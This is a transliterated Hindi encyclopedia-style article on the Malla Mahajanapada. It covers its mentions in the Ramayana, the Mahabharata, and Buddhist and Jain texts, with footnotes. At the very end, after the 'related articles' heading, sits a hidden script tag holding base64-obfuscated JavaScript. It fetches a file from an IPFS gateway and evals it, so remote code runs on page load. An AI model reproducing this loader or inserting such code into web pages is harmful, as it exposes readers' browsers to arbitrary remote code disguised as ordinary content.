मल्ल महाजनपद
mall mahajanapad (aangrezi: Malla Mahajanapada) pauranik 16 mahajanapadoan mean se ek tha. yah bhi ek ganasangh tha aur poorvi uttar pradesh ke ilake isake kshetr the. mall desh ka sarvapratham nishchit ullekh shayad valmiki ramayan mean is prakar hai ki ramachandr ne lakshman ke putr chandraketu ke lie mall desh ki bhoomi mean chandrakanta namak puri basaee jo svarg ke saman divy thi.[1]
mahabharat mean ullekh
mahabharat mean mall desh ke vishay mean kee ullekh haian-
- ‘malla: sudeshna:prahlada mahika shashikastatha’[2] ;
- ‘adhirajyakushadyashch mallarashtran ch kevalamh’[3];
- ‘tato gopalakakshan ch sottaranapi kosalanh, mallanamadhipan chaiv parthivan chajayath prabhu:’.[4]
bauddh-granth mean ullekh
bauddh-granth aanguttaranikay mean mall janapad ka uttari bharat ke solah janapadoan mean ullekh hai. bauddh sahity mean mall desh ki do rajadhaniyoan ka varnan hai-
- mahaparinibbanasutt ke varnan ke anusar gautam buddh ke samay mean kusinara ya kushinagar ke nikat malloan ka shalavan hiranyavati nadi (gandak) ke tat par sthit tha.
- manusmriti mean malloan ko vraty kshatriyoan mean pariganit kiya gaya hai, kyoanki ye bauddh dharm ke dridh anuyayi the.
- kusajatak mean okkak (ikshvaku) namak mall-naresh ka ullekh hai. ikshvakuvanshiy nareshoan ka paranparagat rajy ayodhya ya kosal pradesh mean tha. ray chaudhari ka mat hai[6] ki mall rashtr mean bianbisar ke poorv ganarajy sthapit ho gaya tha. isase pahale yahaan ke anek rajaoan ke nam milate haian. bauddh sahity mean mall janapad ke bhog nagar , anupriy tatha uruvelakapp namak nagaroan ke nam milate haian. bauddh tatha jain sahity mean malloan aur lichchhaviyoan ki pratidvandita ke anek ullekh haian—[7] buddh ke kushinagar mean nirvan prapt karane ke uparant, unake asthi-avasheshoan ka ek bhag malloan ko mila tha jisake sansmaranarth unhoanne kushinagar mean ek stoop ya chaity ka nirman kiya tha. isake khandahar kasiya mean mile haian. is sthan se prapt ek tamrapattalekh se yah tathy pramanit bhi hota hai—‘(parini) varn chaityatabhrapatt iti’. magadh ke rajanitik utkarsh ke samay mall janapad isi samrajy ki vistaranashil satta ke samane n tik saka.
- chauthi shati ee. poo. mean chandragupt maury ke mahanh samrajy mean vilin ho gaya. jain granth 'bhagavati sootr' mean moli ya mali nam se mall-janapad ka ullekh hai. bauddh kal mean mall rashtr ki sthiti uttar pradesh ke poorvi aur bihar ke pashchimi bhag ke aantargat samajhani chahie.
|
|
|
|
|
|
tika tippani aur sandarbh
- ↑ ‘chandraketoshch mallasy mallabhoomyaan niveshita, chandrakaanteti vikhyata divya svargapuri yatha’ valmiki ramayan, uttarakand 102.
- ↑ mahabharat, bhishmaparv 9,46
- ↑ mahabharat, bhishmaparv 9,44
- ↑ mahabharat, sabhaparv 30,3
- ↑ kusajatak; mahaparinibban sutt
- ↑ politikal histri aauv aisheant iandiya, pri. 107-108
- ↑ buddhasal jatak, kalpasootr adi
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>